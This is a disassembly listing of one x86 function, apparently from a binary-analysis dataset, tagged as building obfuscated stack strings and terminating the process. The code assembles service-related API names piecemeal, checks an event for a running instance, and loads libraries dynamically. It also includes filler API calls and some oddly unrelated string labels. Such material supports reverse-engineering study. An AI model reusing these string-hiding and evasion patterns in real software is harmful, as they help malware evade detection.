Function at 0x10003650
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x518
mov eax, dword [0x100230f4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov eax, 0x53
lea edi, [ebp - 0x48]
mov word [ebp - 0x48], ax
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10003685
movzx eax, word [0x1001a424]
push 2
mov word [edi], ax
lea eax, [ebp - 0x46]
push 0x1001ace8
push eax
call fcn.1000bac0
mov eax, dword [str.Servic]
add esp, 0xc
mov dword [ebp - 0x45], eax
movzx eax, word [0x1001acf0]
mov word [ebp - 0x41], ax
mov eax, 0x65
mov word [ebp - 0x3f], ax
lea eax, [ebp - 0x3e]
push 0x1001a58c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 3
lea eax, [ebp - 0x3d]
push 0x1001acf4
push eax
call fcn.1000d630
push 3
lea eax, [ebp - 0x3b]
push 0x1001acf8
push eax
call fcn.1000bac0
push 2
lea eax, [ebp - 0x39]
push 0x1001acfc
push eax
call fcn.1000bac0
push 1
lea eax, [ebp - 0x64]
push 0x1001ad34
push eax
call fcn.1000d4ad
xor eax, eax
push 2
mov word [ebp - 0x62], ax
lea eax, [ebp - 0x62]
push 0x1001ae06
push eax
call fcn.1000d4ad
mov eax, dword [0x1001ae1a]
mov dword [ebp - 0x5e], eax
movzx eax, word [0x1001ae1e]
mov word [ebp - 0x5a], ax
mov eax, dword [str.32.describe_mellow__The_opposite_of_Albert]
mov dword [ebp - 0x58], eax
mov eax, dword [0x1001ae9c]
mov dword [ebp - 0x54], eax
xor eax, eax
push 2
mov word [ebp - 0x50], ax
lea eax, [ebp - 0x64]
push 0x1001af4c
push eax
call fcn.1000d468
add esp, 0x48
mov byte [ebp - 0x34], 0
lea eax, [ebp - 0x34]
push 1
push 0x1001b004
push eax
call fcn.1000d4f0
mov eax, dword [0x1001b022]
mov dword [ebp - 0x2f], eax
mov al, byte [0x1001b026]
push 3
mov byte [ebp - 0x2b], al
lea eax, [ebp - 0x34]
push 0x1001b06f
push eax
mov dword [ebp - 0x33], 0x73696765
mov byte [ebp - 0x2a], 0
call fcn.1000d4f0
mov byte [ebp - 0x27], 0x63
mov dword [ebp - 0x26], 0x72744365
mov byte [ebp - 0x22], 0
push 1
lea eax, [ebp - 0x34]
push 0x1001b082
push eax
call fcn.1000d4f0
movzx eax, word [0x1001b08f]
mov word [ebp - 0x21], ax
mov al, byte [0x1001b091]
mov byte [ebp - 0x1f], al
movzx eax, word [0x1001b09b]
mov word [ebp - 0x1e], ax
mov al, byte [0x1001b09d]
push 1
mov byte [ebp - 0x1c], al
lea eax, [ebp - 0x1b]
push 0x1001b105
push eax
mov byte [ebp - 0x1b], 0
call fcn.1000d630
push 3
lea eax, [ebp - 0x9a]
mov word [ebp - 0x1a], 0x41
push 0x1001b110
push eax
mov dword [ebp - 0x9c], 0x61
call fcn.1000d4ad
movzx eax, word [0x1001b13f]
movups xmm0, xmmword [str.api32.dl]
mov word [ebp - 0x18], ax
mov al, byte [0x1001b141]
push 1
mov byte [ebp - 0x16], al
lea eax, [ebp - 0x15]
push 0x1001b197
push eax
movups xmmword [ebp - 0x96], xmm0
mov dword [ebp - 0x86], 0x6c
mov byte [ebp - 0x15], 0
call fcn.1000d630
add esp, 0x48
mov byte [ebp - 0x14], 0
lea eax, [ebp - 0x18]
push 5
push str.Library_Card__Reader_Registration_
push eax
call fcn.1000d4f0
mov eax, 0x7972
mov byte [ebp - 0xd], 0
push 2
mov word [ebp - 0xf], ax
lea eax, [ebp - 0x80]
push 0x1001accc
push eax
call fcn.1000d4ad
mov eax, dword [0x1001a484]
mov dword [ebp - 0x7e], eax
movzx eax, word [0x1001a488]
push 4
mov word [ebp - 0x7a], ax
lea eax, [ebp - 0x7a]
push 0x1001b1d4
push eax
call fcn.1000d4ad
push 0xa
lea eax, [ebp - 0x74]
push eax
push 3
call fcn.1000d857
push 6
lea eax, [ebp - 0x72]
push 0x1001b1dc
push eax
call fcn.1000bac0
lea ecx, [ebp - 0x80]
add esp, 0x3c
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x100038e0
mov eax, dword [0x1001b1e4]
mov dword [ecx], eax
mov eax, dword [0x1001b1e8]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x64]
push eax
push 0xa7
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
call fcn.10005030
mov dword [ebp - 8], eax
lea eax, [ebp - 0x9c]
push eax
push 0xa7
lea eax, [ebp - 0x34]
push eax
push 0
push 0
push 0
call fcn.10005030
mov dword [ebp - 0x4f4], eax
lea eax, [ebp - 0x80]
push eax
push 0xa7
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call fcn.10005030
add esp, 0x48
mov edi, eax
mov dword [ebp - 0x4ac], edi
call fcn.10004050
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x4e8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x4ec], eax
xor esi, esi
mov eax, dword [ebp - 0x4e8]
test eax, eax
je 0x10003af1
mov cx, word [0x1001b1f2]
mov eax, 0x704f
push 5
mov word [ebp - 0x4d5], ax
lea eax, [ebp - 0x4d8]
mov word [ebp - 0x4d8], cx
mov cl, byte [0x1001b1f4]
push 0x1001b220
push eax
mov byte [ebp - 0x4d6], cl
mov dword [ebp - 0x4d3], 0x75506e65
mov byte [ebp - 0x4cf], 0
call fcn.1000d4f0
mov eax, 0x7025
mov dword [ebp - 0x4ca], 0x206d6165
mov word [ebp - 0x4c6], ax
lea eax, [ebp - 0x4d8]
push 0x1000ab35
push eax
lea eax, [ebp - 0x2a0]
mov byte [ebp - 0x4c4], 0
push eax
call fcn.1000aae0
add esp, 0x18
cmp dword [ebp - 0x4ec], 0xb7
je 0x10003aeb
push esi
push 0xe4
call fcn.10001a70
mov esi, eax
add esp, 8
test esi, esi
jne 0x10003a38
xor edi, edi
jmp 0x10003a9c
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x4fc], eax
xor ecx, ecx
mov edx, 2
lea edi, [eax + 1]
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000ab8b
push edi
push 0
push eax
mov dword [ebp - 0x4f0], eax
call fcn.1000c040
mov edi, dword [ebp - 0x4f0]
add esp, 0x10
push dword [ebp - 0x4fc]
push edi
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
lea eax, [ebp - 0x4a8]
push 0x104
push eax
push 0xe
call sub.OLEACC.dll_GetRoleTextW
test esi, esi
jne 0x10003ae5
xorps xmm0, xmm0
movlpd qword [ebp - 0xc], xmm0
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push esi
push esi
push esi
push esi
call sub.COMCTL32.dll_SetWindowSubclass
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [ebp - 0x4ac]
mov eax, dword [ebp - 0x4e8]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x510], xmm0
test eax, eax
je 0x10003cfb
movlpd qword [ebp - 0x4b0], xmm0
push dword [ebp - 0x4ac]
mov byte [ebp - 0x4e1], 1
push dword [ebp - 0x4b0]
mov dword [ebp - 0x4e8], 0
call dword [sym.imp.USER32.dll_WindowFromPoint]
lea eax, [ebp - 0x4e8]
push eax
push 0x1001c0c0
push 0
push 0
call sub.OLEACC.dll_CreateStdAccessibleObject
movzx ecx, byte [ebp - 0x4e1]
xor edx, edx
test eax, eax
lea eax, [ebp - 0x4f0]
push eax
push edx
push edx
push edx
push edx
push edx
cmovne ecx, edx
push edx
mov dword [ebp - 0x4ac], ecx
call dword [sym.imp.COMCTL32.dll_MenuHelp]
cmp byte [ebp - 0x4ac], 0
je 0x10003b7f
mov eax, dword [ebp - 0x4e8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x4ec], 0xb7
je 0x10003be6
push esi
call fcn.100027f0
add esp, 4
test al, al
jne 0x10003bc6
push esi
call edi
push 1
lea eax, [ebp - 0x4e0]
xorps xmm0, xmm0
push eax
push 0
push 0
movaps xmmword [ebp - 0x4e0], xmm0
movaps xmmword [ebp - 0x4d0], xmm0
call sub.urlmon.dll_FaultInIEFeature
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x4ac]
push eax
call dword [sym.imp.ole32.dll_CreateOleAdviseHolder]
test eax, eax
jne 0x10003be3
mov eax, dword [ebp - 0x4ac]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
call edi
push 0x5e
push 0
call fcn.10005e40
add esp, 8
push 0x100034b0
push eax
call dword [ebp - 0x4f4]
mov dword [0x100238d8], eax
test eax, eax
jne 0x10003c90
movq xmm0, qword [str.SymGetTy]
lea eax, [ebp - 0x4d8]
push 1
push 0x1001a424
push eax
movq qword [ebp - 0x4d8], xmm0
mov word [ebp - 0x4d0], 0x70
call fcn.1000d4f0
mov ax, word [0x1001b308]
push dword [sym.imp.dbghelp.dll_SymGetTypeFromName]
movq xmm0, qword [str.FromName]
mov word [ebp - 0x4c6], ax
mov eax, 0x25
mov word [ebp - 0x4c5], ax
mov eax, 0x70
mov word [ebp - 0x4c4], ax
lea eax, [ebp - 0x4d8]
push eax
lea eax, [ebp - 0x2a0]
movq qword [ebp - 0x4ce], xmm0
push eax
call fcn.1000aae0
add esp, 0x18
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x100238dc
push eax
mov dword [0x100238dc], 0x20
mov dword [0x100238f0], 0
mov dword [0x100238f4], 0
mov dword [ebp - 0x510], 0x10
mov dword [0x100238e4], 1
mov dword [0x100238e8], 0
mov dword [0x100238ec], 0
mov dword [0x100238e0], 4
call dword [ebp - 8]
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.COMCTL32.dll__TrackMouseEvent]
call fcn.10003db0
push 2
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0
push 0x1001b24b
push eax
call fcn.1000d4f0
push 2
lea eax, [ebp - 0xc]
push 0x1001b295
push eax
call fcn.1000d4f0
push 1
lea eax, [ebp - 0xc]
push 0x1001b2c2
push eax
call fcn.1000d4f0
push 1
lea eax, [ebp - 0xc]
push 0x1001b2dc
push eax
call fcn.1000d4f0
add esp, 0x30
xorps xmm0, xmm0
movlpd qword [ebp - 0x4f8], xmm0
push dword [ebp - 0x4f4]
push dword [ebp - 0x4f8]
call dword [sym.imp.USER32.dll_WindowFromPoint]
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_GetDC]
test eax, eax
je 0x10003d76
push eax
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
movaps xmm0, xmmword [0x1001c0b0]
lea ecx, [ebp - 0xc]
push 0x200
push ecx
lea ecx, [ebp - 0x4b8]
push ecx
push eax
movups xmmword [ebp - 0x4b8], xmm0
call dword [sym.imp.COMCTL32.dll_DrawStatusTextA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]